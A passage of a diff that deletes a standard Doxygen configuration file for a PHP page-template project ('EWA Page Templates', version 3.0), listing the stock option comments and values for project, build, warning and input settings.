-# https://www.gnu.org/software/libiconv/ for the list of possible encodings.
-# The default value is: UTF-8.
-
-DOXYFILE_ENCODING      = UTF-8
-
-# The PROJECT_NAME tag is a single word (or a sequence of words surrounded by
-# double-quotes, unless you are using Doxywizard) that should identify the
-# project for which the documentation is generated. This name is used in the
-# title of most generated pages and in a few other places.
-# The default value is: My Project.
-
-PROJECT_NAME           = "EWA Page Templates (EWA-Seitenklassen)"
-
-# The PROJECT_NUMBER tag can be used to enter a project or revision number. This
-# could be handy for archiving the generated documentation or if some version
-# control system is used.
-
-PROJECT_NUMBER         = 3.0
-
-# Using the PROJECT_BRIEF tag one can provide an optional one line description
-# for a project that appears at the top of each page and should give viewer a
-# quick idea about the purpose of the project. Keep the description short.
-
-PROJECT_BRIEF          =
-
-# With the PROJECT_LOGO tag one can specify a logo or an icon that is included
-# in the documentation. The maximum height of the logo should not exceed 55
-# pixels and the maximum width should not exceed 200 pixels. Doxygen will copy
-# the logo to the output directory.
-
-PROJECT_LOGO           =
-
-# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) path
-# into which the generated documentation will be written. If a relative path is
-# entered, it will be relative to the location where doxygen was started. If
-# left blank the current directory will be used.
-
-OUTPUT_DIRECTORY       = 
-
-# If the CREATE_SUBDIRS tag is set to YES then doxygen will create 4096 sub-
-# directories (in 2 levels) under the output directory of each output format and
-# will distribute the generated files over these directories. Enabling this
-# option can be useful when feeding doxygen a huge amount of source files, where
-# putting all generated files in the same directory would otherwise causes
-# performance problems for the file system.
-# The default value is: NO.
-
-CREATE_SUBDIRS         = NO
-
-# If the ALLOW_UNICODE_NAMES tag is set to YES, doxygen will allow non-ASCII
-# characters to appear in the names of generated files. If set to NO, non-ASCII
-# characters will be escaped, for example _xE3_x81_x84 will be used for Unicode
-# U+3044.
-# The default value is: NO.
-
-ALLOW_UNICODE_NAMES    = NO
-
-# The OUTPUT_LANGUAGE tag is used to specify the language in which all
-# documentation generated by doxygen is written. Doxygen will use this
-# information to generate all constant output in the proper language.
-# Possible values are: Afrikaans, Arabic, Armenian, Brazilian, Catalan, Chinese,
-# Chinese-Traditional, Croatian, Czech, Danish, Dutch, English (United States),
-# Esperanto, Farsi (Persian), Finnish, French, German, Greek, Hungarian,
-# Indonesian, Italian, Japanese, Japanese-en (Japanese with English messages),
-# Korean, Korean-en (Korean with English messages), Latvian, Lithuanian,
-# Macedonian, Norwegian, Persian (Farsi), Polish, Portuguese, Romanian, Russian,
-# Serbian, Serbian-Cyrillic, Slovak, Slovene, Spanish, Swedish, Turkish,
-# Ukrainian and Vietnamese.
-# The default value is: English.
-
-OUTPUT_LANGUAGE        = English
-
-# If the BRIEF_MEMBER_DESC tag is set to YES, doxygen will include brief member
-# descriptions after the members that are listed in the file and class
-# documentation (similar to Javadoc). Set to NO to disable this.
-# The default value is: YES.
-
-BRIEF_MEMBER_DESC      = YES
-
-# If the REPEAT_BRIEF tag is set to YES, doxygen will prepend the brief
-# description of a member or function before the detailed description
-#
-# Note: If both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the
-# brief descriptions will be completely suppressed.
-# The default value is: YES.
-
-REPEAT_BRIEF           = YES
-
-# This tag implements a quasi-intelligent brief description abbreviator that is
-# used to form the text in various listings. Each string in this list, if found
-# as the leading text of the brief description, will be stripped from the text
-# and the result, after processing the whole list, is used as the annotated
-# text. Otherwise, the brief description is used as-is. If left blank, the
-# following values are used ($name is automatically replaced with the name of
-# the entity):The $name class, The $name widget, The $name file, is, provides,
-# specifies, contains, represents, a, an and the.
-
-ABBREVIATE_BRIEF       = "The $name class" \
-                         "The $name widget" \
-                         "The $name file" \
-                         is \
-                         provides \
-                         specifies \
-                         contains \
-                         represents \
-                         a \
-                         an \
-                         the
-
-# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then
-# doxygen will generate a detailed section even if there is only a brief
-# description.
-# The default value is: NO.
-
-ALWAYS_DETAILED_SEC    = NO
-
-# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all
-# inherited members of a class in the documentation of that class as if those
-# members were ordinary class members. Constructors, destructors and assignment
-# operators of the base classes will not be shown.
-# The default value is: NO.
-
-INLINE_INHERITED_MEMB  = NO
-
-# If the FULL_PATH_NAMES tag is set to YES, doxygen will prepend the full path
-# before files name in the file list and in the header files. If set to NO the
-# shortest path that makes the file name unique will be used
-# The default value is: YES.
-
-FULL_PATH_NAMES        = YES
-
-# The STRIP_FROM_PATH tag can be used to strip a user-defined part of the path.
-# Stripping is only done if one of the specified strings matches the left-hand
-# part of the path. The tag can be used to show relative paths in the file list.
-# If left blank the directory from which doxygen is run is used as the path to
-# strip.
-#
-# Note that you can specify absolute paths here, but also relative paths, which
-# will be relative from the directory where doxygen is started.
-# This tag requires that the tag FULL_PATH_NAMES is set to YES.
-
-STRIP_FROM_PATH        =
-
-# The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of the
-# path mentioned in the documentation of a class, which tells the reader which
-# header file to include in order to use a class. If left blank only the name of
-# the header file containing the class definition is used. Otherwise one should
-# specify the list of include paths that are normally passed to the compiler
-# using the -I flag.
-
-STRIP_FROM_INC_PATH    =
-
-# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter (but
-# less readable) file names. This can be useful is your file systems doesn't
-# support long names like on DOS, Mac, or CD-ROM.
-# The default value is: NO.
-
-SHORT_NAMES            = NO
-
-# If the JAVADOC_AUTOBRIEF tag is set to YES then doxygen will interpret the
-# first line (until the first dot) of a Javadoc-style comment as the brief
-# description. If set to NO, the Javadoc-style will behave just like regular Qt-
-# style comments (thus requiring an explicit @brief command for a brief
-# description.)
-# The default value is: NO.
-
-JAVADOC_AUTOBRIEF      = NO
-
-# If the QT_AUTOBRIEF tag is set to YES then doxygen will interpret the first
-# line (until the first dot) of a Qt-style comment as the brief description. If
-# set to NO, the Qt-style will behave just like regular Qt-style comments (thus
-# requiring an explicit \brief command for a brief description.)
-# The default value is: NO.
-
-QT_AUTOBRIEF           = NO
-
-# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make doxygen treat a
-# multi-line C++ special comment block (i.e. a block of //! or /// comments) as
-# a brief description. This used to be the default behavior. The new default is
-# to treat a multi-line C++ comment block as a detailed description. Set this
-# tag to YES if you prefer the old behavior instead.
-#
-# Note that setting this tag to YES also means that rational rose comments are
-# not recognized any more.
-# The default value is: NO.
-
-MULTILINE_CPP_IS_BRIEF = NO
-
-# If the INHERIT_DOCS tag is set to YES then an undocumented member inherits the
-# documentation from any documented member that it re-implements.
-# The default value is: YES.
-
-INHERIT_DOCS           = YES
-
-# If the SEPARATE_MEMBER_PAGES tag is set to YES then doxygen will produce a new
-# page for each member. If set to NO, the documentation of a member will be part
-# of the file/class/namespace that contains it.
-# The default value is: NO.
-
-SEPARATE_MEMBER_PAGES  = NO
-
-# The TAB_SIZE tag can be used to set the number of spaces in a tab. Doxygen
-# uses this value to replace tabs by spaces in code fragments.
-# Minimum value: 1, maximum value: 16, default value: 4.
-
-TAB_SIZE               = 4
-
-# This tag can be used to specify a number of aliases that act as commands in
-# the documentation. An alias has the form:
-# name=value
-# For example adding
-# "sideeffect=@par Side Effects:\n"
-# will allow you to put the command \sideeffect (or @sideeffect) in the
-# documentation, which will result in a user-defined paragraph with heading
-# "Side Effects:". You can put \n's in the value part of an alias to insert
-# newlines (in the resulting output). You can put ^^ in the value part of an
-# alias to insert a newline as if a physical newline was in the original file.
-# When you need a literal { or } or , in the value part of an alias you have to
-# escape them by means of a backslash (\), this can lead to conflicts with the
-# commands \{ and \} for these it is advised to use the version @{ and @} or use
-# a double escape (\\{ and \\})
-
-ALIASES                =
-
-# This tag can be used to specify a number of word-keyword mappings (TCL only).
-# A mapping has the form "name=value". For example adding "class=itcl::class"
-# will allow you to use the command class in the itcl::class meaning.
-
-TCL_SUBST              =
-
-# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C sources
-# only. Doxygen will then generate output that is more tailored for C. For
-# instance, some of the names that are used will be different. The list of all
-# members will be omitted, etc.
-# The default value is: NO.
-
-OPTIMIZE_OUTPUT_FOR_C  = NO
-
-# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java or
-# Python sources only. Doxygen will then generate output that is more tailored
-# for that language. For instance, namespaces will be presented as packages,
-# qualified scopes will look different, etc.
-# The default value is: NO.
-
-OPTIMIZE_OUTPUT_JAVA   = NO
-
-# Set the OPTIMIZE_FOR_FORTRAN tag to YES if your project consists of Fortran
-# sources. Doxygen will then generate output that is tailored for Fortran.
-# The default value is: NO.
-
-OPTIMIZE_FOR_FORTRAN   = NO
-
-# Set the OPTIMIZE_OUTPUT_VHDL tag to YES if your project consists of VHDL
-# sources. Doxygen will then generate output that is tailored for VHDL.
-# The default value is: NO.
-
-OPTIMIZE_OUTPUT_VHDL   = NO
-
-# Doxygen selects the parser to use depending on the extension of the files it
-# parses. With this tag you can assign which parser to use for a given
-# extension. Doxygen has a built-in mapping, but you can override or extend it
-# using this tag. The format is ext=language, where ext is a file extension, and
-# language is one of the parsers supported by doxygen: IDL, Java, Javascript,
-# Csharp (C#), C, C++, D, PHP, md (Markdown), Objective-C, Python, Slice,
-# Fortran (fixed format Fortran: FortranFixed, free formatted Fortran:
-# FortranFree, unknown formatted Fortran: Fortran. In the later case the parser
-# tries to guess whether the code is fixed or free formatted code, this is the
-# default for Fortran type files), VHDL, tcl. For instance to make doxygen treat
-# .inc files as Fortran files (default is PHP), and .f files as C (default is
-# Fortran), use: inc=Fortran f=C.
-#
-# Note: For files without extension you can use no_extension as a placeholder.
-#
-# Note that for custom extensions you also need to set FILE_PATTERNS otherwise
-# the files are not read by doxygen.
-
-EXTENSION_MAPPING      =
-
-# If the MARKDOWN_SUPPORT tag is enabled then doxygen pre-processes all comments
-# according to the Markdown format, which allows for more readable
-# documentation. See https://daringfireball.net/projects/markdown/ for details.
-# The output of markdown processing is further processed by doxygen, so you can
-# mix doxygen, HTML, and XML commands with Markdown formatting. Disable only in
-# case of backward compatibilities issues.
-# The default value is: YES.
-
-MARKDOWN_SUPPORT       = YES
-
-# When the TOC_INCLUDE_HEADINGS tag is set to a non-zero value, all headings up
-# to that level are automatically included in the table of contents, even if
-# they do not have an id attribute.
-# Note: This feature currently applies only to Markdown headings.
-# Minimum value: 0, maximum value: 99, default value: 5.
-# This tag requires that the tag MARKDOWN_SUPPORT is set to YES.
-
-TOC_INCLUDE_HEADINGS   = 0
-
-# When enabled doxygen tries to link words that correspond to documented
-# classes, or namespaces to their corresponding documentation. Such a link can
-# be prevented in individual cases by putting a % sign in front of the word or
-# globally by setting AUTOLINK_SUPPORT to NO.
-# The default value is: YES.
-
-AUTOLINK_SUPPORT       = YES
-
-# If you use STL classes (i.e. std::string, std::vector, etc.) but do not want
-# to include (a tag file for) the STL sources as input, then you should set this
-# tag to YES in order to let doxygen match functions declarations and
-# definitions whose arguments contain STL classes (e.g. func(std::string);
-# versus func(std::string) {}). This also make the inheritance and collaboration
-# diagrams that involve STL classes more complete and accurate.
-# The default value is: NO.
-
-BUILTIN_STL_SUPPORT    = NO
-
-# If you use Microsoft's C++/CLI language, you should set this option to YES to
-# enable parsing support.
-# The default value is: NO.
-
-CPP_CLI_SUPPORT        = NO
-
-# Set the SIP_SUPPORT tag to YES if your project consists of sip (see:
-# https://www.riverbankcomputing.com/software/sip/intro) sources only. Doxygen
-# will parse them like normal C++ but will assume all classes use public instead
-# of private inheritance when no explicit protection keyword is present.
-# The default value is: NO.
-
-SIP_SUPPORT            = NO
-
-# For Microsoft's IDL there are propget and propput attributes to indicate
-# getter and setter methods for a property. Setting this option to YES will make
-# doxygen to replace the get and set methods by a property in the documentation.
-# This will only work if the methods are indeed getting or setting a simple
-# type. If this is not the case, or you want to show the methods anyway, you
-# should set this option to NO.
-# The default value is: YES.
-
-IDL_PROPERTY_SUPPORT   = YES
-
-# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC
-# tag is set to YES then doxygen will reuse the documentation of the first
-# member in the group (if any) for the other members of the group. By default
-# all members of a group must be documented explicitly.
-# The default value is: NO.
-
-DISTRIBUTE_GROUP_DOC   = NO
-
-# If one adds a struct or class to a group and this option is enabled, then also
-# any nested class or struct is added to the same group. By default this option
-# is disabled and one has to add nested compounds explicitly via \ingroup.
-# The default value is: NO.
-
-GROUP_NESTED_COMPOUNDS = NO
-
-# Set the SUBGROUPING tag to YES to allow class member groups of the same type
-# (for instance a group of public functions) to be put as a subgroup of that
-# type (e.g. under the Public Functions section). Set it to NO to prevent
-# subgrouping. Alternatively, this can be done per class using the
-# \nosubgrouping command.
-# The default value is: YES.
-
-SUBGROUPING            = YES
-
-# When the INLINE_GROUPED_CLASSES tag is set to YES, classes, structs and unions
-# are shown inside the group in which they are included (e.g. using \ingroup)
-# instead of on a separate page (for HTML and Man pages) or section (for LaTeX
-# and RTF).
-#
-# Note that this feature does not work in combination with
-# SEPARATE_MEMBER_PAGES.
-# The default value is: NO.
-
-INLINE_GROUPED_CLASSES = NO
-
-# When the INLINE_SIMPLE_STRUCTS tag is set to YES, structs, classes, and unions
-# with only public data fields or simple typedef fields will be shown inline in
-# the documentation of the scope in which they are defined (i.e. file,
-# namespace, or group documentation), provided this scope is documented. If set
-# to NO, structs, classes, and unions are shown on a separate page (for HTML and
-# Man pages) or section (for LaTeX and RTF).
-# The default value is: NO.
-
-INLINE_SIMPLE_STRUCTS  = NO
-
-# When TYPEDEF_HIDES_STRUCT tag is enabled, a typedef of a struct, union, or
-# enum is documented as struct, union, or enum with the name of the typedef. So
-# typedef struct TypeS {} TypeT, will appear in the documentation as a struct
-# with name TypeT. When disabled the typedef will appear as a member of a file,
-# namespace, or class. And the struct will be named TypeS. This can typically be
-# useful for C code in case the coding convention dictates that all compound
-# types are typedef'ed and only the typedef is referenced, never the tag name.
-# The default value is: NO.
-
-TYPEDEF_HIDES_STRUCT   = NO
-
-# The size of the symbol lookup cache can be set using LOOKUP_CACHE_SIZE. This
-# cache is used to resolve symbols given their name and scope. Since this can be
-# an expensive process and often the same symbol appears multiple times in the
-# code, doxygen keeps a cache of pre-resolved symbols. If the cache is too small
-# doxygen will become slower. If the cache is too large, memory is wasted. The
-# cache size is given by this formula: 2^(16+LOOKUP_CACHE_SIZE). The valid range
-# is 0..9, the default is 0, corresponding to a cache size of 2^16=65536
-# symbols. At the end of a run doxygen will report the cache usage and suggest
-# the optimal cache size from a speed point of view.
-# Minimum value: 0, maximum value: 9, default value: 0.
-
-LOOKUP_CACHE_SIZE      = 0
-
-#---------------------------------------------------------------------------
-# Build related configuration options
-#---------------------------------------------------------------------------
-
-# If the EXTRACT_ALL tag is set to YES, doxygen will assume all entities in
-# documentation are documented, even if no documentation was available. Private
-# class members and static file members will be hidden unless the
-# EXTRACT_PRIVATE respectively EXTRACT_STATIC tags are set to YES.
-# Note: This will also disable the warnings about undocumented members that are
-# normally produced when WARNINGS is set to YES.
-# The default value is: NO.
-
-EXTRACT_ALL            = NO
-
-# If the EXTRACT_PRIVATE tag is set to YES, all private members of a class will
-# be included in the documentation.
-# The default value is: NO.
-
-EXTRACT_PRIVATE        = NO
-
-# If the EXTRACT_PACKAGE tag is set to YES, all members with package or internal
-# scope will be included in the documentation.
-# The default value is: NO.
-
-EXTRACT_PACKAGE        = NO
-
-# If the EXTRACT_STATIC tag is set to YES, all static members of a file will be
-# included in the documentation.
-# The default value is: NO.
-
-EXTRACT_STATIC         = NO
-
-# If the EXTRACT_LOCAL_CLASSES tag is set to YES, classes (and structs) defined
-# locally in source files will be included in the documentation. If set to NO,
-# only classes defined in header files are included. Does not have any effect
-# for Java sources.
-# The default value is: YES.
-
-EXTRACT_LOCAL_CLASSES  = YES
-
-# This flag is only useful for Objective-C code. If set to YES, local methods,
-# which are defined in the implementation section but not in the interface are
-# included in the documentation. If set to NO, only methods in the interface are
-# included.
-# The default value is: NO.
-
-EXTRACT_LOCAL_METHODS  = NO
-
-# If this flag is set to YES, the members of anonymous namespaces will be
-# extracted and appear in the documentation as a namespace called
-# 'anonymous_namespace{file}', where file will be replaced with the base name of
-# the file that contains the anonymous namespace. By default anonymous namespace
-# are hidden.
-# The default value is: NO.
-
-EXTRACT_ANON_NSPACES   = NO
-
-# If the HIDE_UNDOC_MEMBERS tag is set to YES, doxygen will hide all
-# undocumented members inside documented classes or files. If set to NO these
-# members will be included in the various overviews, but no documentation
-# section is generated. This option has no effect if EXTRACT_ALL is enabled.
-# The default value is: NO.
-
-HIDE_UNDOC_MEMBERS     = NO
-
-# If the HIDE_UNDOC_CLASSES tag is set to YES, doxygen will hide all
-# undocumented classes that are normally visible in the class hierarchy. If set
-# to NO, these classes will be included in the various overviews. This option
-# has no effect if EXTRACT_ALL is enabled.
-# The default value is: NO.
-
-HIDE_UNDOC_CLASSES     = NO
-
-# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, doxygen will hide all friend
-# (class|struct|union) declarations. If set to NO, these declarations will be
-# included in the documentation.
-# The default value is: NO.
-
-HIDE_FRIEND_COMPOUNDS  = NO
-
-# If the HIDE_IN_BODY_DOCS tag is set to YES, doxygen will hide any
-# documentation blocks found inside the body of a function. If set to NO, these
-# blocks will be appended to the function's detailed documentation block.
-# The default value is: NO.
-
-HIDE_IN_BODY_DOCS      = NO
-
-# The INTERNAL_DOCS tag determines if documentation that is typed after a
-# \internal command is included. If the tag is set to NO then the documentation
-# will be excluded. Set it to YES to include the internal documentation.
-# The default value is: NO.
-
-INTERNAL_DOCS          = NO
-
-# If the CASE_SENSE_NAMES tag is set to NO then doxygen will only generate file
-# names in lower-case letters. If set to YES, upper-case letters are also
-# allowed. This is useful if you have classes or files whose names only differ
-# in case and if your file system supports case sensitive file names. Windows
-# (including Cygwin) ands Mac users are advised to set this option to NO.
-# The default value is: system dependent.
-
-CASE_SENSE_NAMES       = NO
-
-# If the HIDE_SCOPE_NAMES tag is set to NO then doxygen will show members with
-# their full class and namespace scopes in the documentation. If set to YES, the
-# scope will be hidden.
-# The default value is: NO.
-
-HIDE_SCOPE_NAMES       = YES
-
-# If the HIDE_COMPOUND_REFERENCE tag is set to NO (default) then doxygen will
-# append additional text to a page's title, such as Class Reference. If set to
-# YES the compound reference will be hidden.
-# The default value is: NO.
-
-HIDE_COMPOUND_REFERENCE= YES
-
-# If the SHOW_INCLUDE_FILES tag is set to YES then doxygen will put a list of
-# the files that are included by a file in the documentation of that file.
-# The default value is: YES.
-
-SHOW_INCLUDE_FILES     = NO
-
-# If the SHOW_GROUPED_MEMB_INC tag is set to YES then Doxygen will add for each
-# grouped member an include statement to the documentation, telling the reader
-# which file to include in order to use the member.
-# The default value is: NO.
-
-SHOW_GROUPED_MEMB_INC  = NO
-
-# If the FORCE_LOCAL_INCLUDES tag is set to YES then doxygen will list include
-# files with double quotes in the documentation rather than with sharp brackets.
-# The default value is: NO.
-
-FORCE_LOCAL_INCLUDES   = NO
-
-# If the INLINE_INFO tag is set to YES then a tag [inline] is inserted in the
-# documentation for inline members.
-# The default value is: YES.
-
-INLINE_INFO            = YES
-
-# If the SORT_MEMBER_DOCS tag is set to YES then doxygen will sort the
-# (detailed) documentation of file and class members alphabetically by member
-# name. If set to NO, the members will appear in declaration order.
-# The default value is: YES.
-
-SORT_MEMBER_DOCS       = YES
-
-# If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the brief
-# descriptions of file, namespace and class members alphabetically by member
-# name. If set to NO, the members will appear in declaration order. Note that
-# this will also influence the order of the classes in the class list.
-# The default value is: NO.
-
-SORT_BRIEF_DOCS        = NO
-
-# If the SORT_MEMBERS_CTORS_1ST tag is set to YES then doxygen will sort the
-# (brief and detailed) documentation of class members so that constructors and
-# destructors are listed first. If set to NO the constructors will appear in the
-# respective orders defined by SORT_BRIEF_DOCS and SORT_MEMBER_DOCS.
-# Note: If SORT_BRIEF_DOCS is set to NO this option is ignored for sorting brief
-# member documentation.
-# Note: If SORT_MEMBER_DOCS is set to NO this option is ignored for sorting
-# detailed member documentation.
-# The default value is: NO.
-
-SORT_MEMBERS_CTORS_1ST = NO
-
-# If the SORT_GROUP_NAMES tag is set to YES then doxygen will sort the hierarchy
-# of group names into alphabetical order. If set to NO the group names will
-# appear in their defined order.
-# The default value is: NO.
-
-SORT_GROUP_NAMES       = NO
-
-# If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be sorted by
-# fully-qualified names, including namespaces. If set to NO, the class list will
-# be sorted only by class name, not including the namespace part.
-# Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES.
-# Note: This option applies only to the class list, not to the alphabetical
-# list.
-# The default value is: NO.
-
-SORT_BY_SCOPE_NAME     = NO
-
-# If the STRICT_PROTO_MATCHING option is enabled and doxygen fails to do proper
-# type resolution of all parameters of a function it will reject a match between
-# the prototype and the implementation of a member function even if there is
-# only one candidate or it is obvious which candidate to choose by doing a
-# simple string match. By disabling STRICT_PROTO_MATCHING doxygen will still
-# accept a match between prototype and implementation in such cases.
-# The default value is: NO.
-
-STRICT_PROTO_MATCHING  = NO
-
-# The GENERATE_TODOLIST tag can be used to enable (YES) or disable (NO) the todo
-# list. This list is created by putting \todo commands in the documentation.
-# The default value is: YES.
-
-GENERATE_TODOLIST      = NO
-
-# The GENERATE_TESTLIST tag can be used to enable (YES) or disable (NO) the test
-# list. This list is created by putting \test commands in the documentation.
-# The default value is: YES.
-
-GENERATE_TESTLIST      = NO
-
-# The GENERATE_BUGLIST tag can be used to enable (YES) or disable (NO) the bug
-# list. This list is created by putting \bug commands in the documentation.
-# The default value is: YES.
-
-GENERATE_BUGLIST       = NO
-
-# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or disable (NO)
-# the deprecated list. This list is created by putting \deprecated commands in
-# the documentation.
-# The default value is: YES.
-
-GENERATE_DEPRECATEDLIST= NO
-
-# The ENABLED_SECTIONS tag can be used to enable conditional documentation
-# sections, marked by \if <section_label> ... \endif and \cond <section_label>
-# ... \endcond blocks.
-
-ENABLED_SECTIONS       =
-
-# The MAX_INITIALIZER_LINES tag determines the maximum number of lines that the
-# initial value of a variable or macro / define can have for it to appear in the
-# documentation. If the initializer consists of more lines than specified here
-# it will be hidden. Use a value of 0 to hide initializers completely. The
-# appearance of the value of individual variables and macros / defines can be
-# controlled using \showinitializer or \hideinitializer command in the
-# documentation regardless of this setting.
-# Minimum value: 0, maximum value: 10000, default value: 30.
-
-MAX_INITIALIZER_LINES  = 30
-
-# Set the SHOW_USED_FILES tag to NO to disable the list of files generated at
-# the bottom of the documentation of classes and structs. If set to YES, the
-# list will mention the files that were used to generate the documentation.
-# The default value is: YES.
-
-SHOW_USED_FILES        = NO
-
-# Set the SHOW_FILES tag to NO to disable the generation of the Files page. This
-# will remove the Files entry from the Quick Index and from the Folder Tree View
-# (if specified).
-# The default value is: YES.
-
-SHOW_FILES             = NO
-
-# Set the SHOW_NAMESPACES tag to NO to disable the generation of the Namespaces
-# page. This will remove the Namespaces entry from the Quick Index and from the
-# Folder Tree View (if specified).
-# The default value is: YES.
-
-SHOW_NAMESPACES        = YES
-
-# The FILE_VERSION_FILTER tag can be used to specify a program or script that
-# doxygen should invoke to get the current version for each file (typically from
-# the version control system). Doxygen will invoke the program by executing (via
-# popen()) the command command input-file, where command is the value of the
-# FILE_VERSION_FILTER tag, and input-file is the name of an input file provided
-# by doxygen. Whatever the program writes to standard output is used as the file
-# version. For an example see the documentation.
-
-FILE_VERSION_FILTER    =
-
-# The LAYOUT_FILE tag can be used to specify a layout file which will be parsed
-# by doxygen. The layout file controls the global structure of the generated
-# output files in an output format independent way. To create the layout file
-# that represents doxygen's defaults, run doxygen with the -l option. You can
-# optionally specify a file name after the option, if omitted DoxygenLayout.xml
-# will be used as the name of the layout file.
-#
-# Note that if you run doxygen from a directory containing a file called
-# DoxygenLayout.xml, doxygen will parse it automatically even if the LAYOUT_FILE
-# tag is left empty.
-
-LAYOUT_FILE            =
-
-# The CITE_BIB_FILES tag can be used to specify one or more bib files containing
-# the reference definitions. This must be a list of .bib files. The .bib
-# extension is automatically appended if omitted. This requires the bibtex tool
-# to be installed. See also https://en.wikipedia.org/wiki/BibTeX for more info.
-# For LaTeX the style of the bibliography can be controlled using
-# LATEX_BIB_STYLE. To use this feature you need bibtex and perl available in the
-# search path. See also \cite for info how to create references.
-
-CITE_BIB_FILES         =
-
-#---------------------------------------------------------------------------
-# Configuration options related to warning and progress messages
-#---------------------------------------------------------------------------
-
-# The QUIET tag can be used to turn on/off the messages that are generated to
-# standard output by doxygen. If QUIET is set to YES this implies that the
-# messages are off.
-# The default value is: NO.
-
-QUIET                  = NO
-
-# The WARNINGS tag can be used to turn on/off the warning messages that are
-# generated to standard error (stderr) by doxygen. If WARNINGS is set to YES
-# this implies that the warnings are on.
-#
-# Tip: Turn warnings on while writing the documentation.
-# The default value is: YES.
-
-WARNINGS               = YES
-
-# If the WARN_IF_UNDOCUMENTED tag is set to YES then doxygen will generate
-# warnings for undocumented members. If EXTRACT_ALL is set to YES then this flag
-# will automatically be disabled.
-# The default value is: YES.
-
-WARN_IF_UNDOCUMENTED   = YES
-
-# If the WARN_IF_DOC_ERROR tag is set to YES, doxygen will generate warnings for
-# potential errors in the documentation, such as not documenting some parameters
-# in a documented function, or documenting parameters that don't exist or using
-# markup commands wrongly.
-# The default value is: YES.
-
-WARN_IF_DOC_ERROR      = YES
-
-# This WARN_NO_PARAMDOC option can be enabled to get warnings for functions that
-# are documented, but have no documentation for their parameters or return
-# value. If set to NO, doxygen will only warn about wrong or incomplete
-# parameter documentation, but not about the absence of documentation. If
-# EXTRACT_ALL is set to YES then this flag will automatically be disabled.
-# The default value is: NO.
-
-WARN_NO_PARAMDOC       = NO
-
-# If the WARN_AS_ERROR tag is set to YES then doxygen will immediately stop when
-# a warning is encountered.
-# The default value is: NO.
-
-WARN_AS_ERROR          = NO
-
-# The WARN_FORMAT tag determines the format of the warning messages that doxygen
-# can produce. The string should contain the $file, $line, and $text tags, which
-# will be replaced by the file and line number from which the warning originated
-# and the warning text. Optionally the format may contain $version, which will
-# be replaced by the version of the file (if it could be obtained via
-# FILE_VERSION_FILTER)
-# The default value is: $file:$line: $text.
-
-WARN_FORMAT            = "$file:$line: $text"
-
-# The WARN_LOGFILE tag can be used to specify a file to which warning and error
-# messages should be written. If left blank the output is written to standard
-# error (stderr).
-
-WARN_LOGFILE           =
-
-#---------------------------------------------------------------------------
-# Configuration options related to the input files
-#---------------------------------------------------------------------------
-
-# The INPUT tag is used to specify the files and/or directories that contain
-# documented source files. You may enter file names like myfile.cpp or
-# directories like /usr/src/myproject. Separate the files or directories with
-# spaces. See also FILE_PATTERNS and EXTENSION_MAPPING
-# Note: If this tag is empty the current directory is searched.
-
-INPUT                  = Page.php PageTemplate.php
-
-# This tag can be used to specify the character encoding of the source files
-# that doxygen parses. Internally doxygen uses the UTF-8 encoding. Doxygen uses
-# libiconv (or the iconv built into libc) for the transcoding. See the libiconv
-# documentation (see: https://www.gnu.org/software/libiconv/) for the list of
-# possible encodings.
-# The default value is: UTF-8.
-
-INPUT_ENCODING         = UTF-8
-
-# If the value of the INPUT tag contains directories, you can use the
-# FILE_PATTERNS tag to specify one or more wildcard patterns (like *.cpp and
-# *.h) to filter out the source-files in the directories.
-#
-# Note that for custom extensions or not directly supported extensions you also
-# need to set EXTENSION_MAPPING for the extension otherwise the files are not
-# read by doxygen.
-#
-# If left blank the following patterns are tested:*.c, *.cc, *.cxx, *.cpp,
-# *.c++, *.java, *.ii, *.ixx, *.ipp, *.i++, *.inl, *.idl, *.ddl, *.odl, *.h,
-# *.hh, *.hxx, *.hpp, *.h++, *.cs, *.d, *.php, *.php4, *.php5, *.phtml, *.inc,
-# *.m, *.markdown, *.md, *.mm, *.dox, *.py, *.pyw, *.f90, *.f95, *.f03, *.f08,
-# *.f, *.for, *.tcl, *.vhd, *.vhdl, *.ucf, *.qsf and *.ice.
-
-FILE_PATTERNS          = *.c \
-                         *.cc \
-                         *.cxx \
-                         *.cpp \
-                         *.c++ \
-                         *.java \
-                         *.ii \
-                         *.ixx \
-                         *.ipp \
-                         *.i++ \
-                         *.inl \
-                         *.idl \
-                         *.ddl \
-                         *.odl \
-                         *.h \
-                         *.hh \
-                         *.hxx \
-                         *.hpp \
-                         *.h++ \
-                         *.cs \
-                         *.d \
-                         *.php \
-                         *.php4 \
-                         *.php5 \
-                         *.phtml \
-                         *.inc \
-                         *.m \
-                         *.markdown \
-                         *.md \
-                         *.mm \
-                         *.dox \
-                         *.py \
-                         *.pyw \
-                         *.f90 \
-                         *.f95 \
-                         *.f03 \
-                         *.f08 \
-                         *.f \
-                         *.for \
-                         *.tcl \
-                         *.vhd \
-                         *.vhdl \
-                         *.ucf \
-                         *.qsf \
-                         *.ice
-
-# The RECURSIVE tag can be used to specify whether or not subdirectories should
-# be searched for input files as well.
-# The default value is: NO.
-
-RECURSIVE              = NO
-
-# The EXCLUDE tag can be used to specify files and/or directories that should be
-# excluded from the INPUT source files. This way you can easily exclude a
-# subdirectory from a directory tree whose root is specified with the INPUT tag.
-#
-# Note that relative paths are relative to the directory from which doxygen is
-# run.
-
-EXCLUDE                =
-
-# The EXCLUDE_SYMLINKS tag can be used to select whether or not files or
-# directories that are symbolic links (a Unix file system feature) are excluded
-# from the input.
-# The default value is: NO.
-
-EXCLUDE_SYMLINKS       = NO
-
-# If the value of the INPUT tag contains directories, you can use the
-# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude
-# certain files from those directories.
-#
-# Note that the wildcards are matched against the file with absolute path, so to
-# exclude all test directories for example use the pattern */test/*
-
-EXCLUDE_PATTERNS       =
-
-# The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names
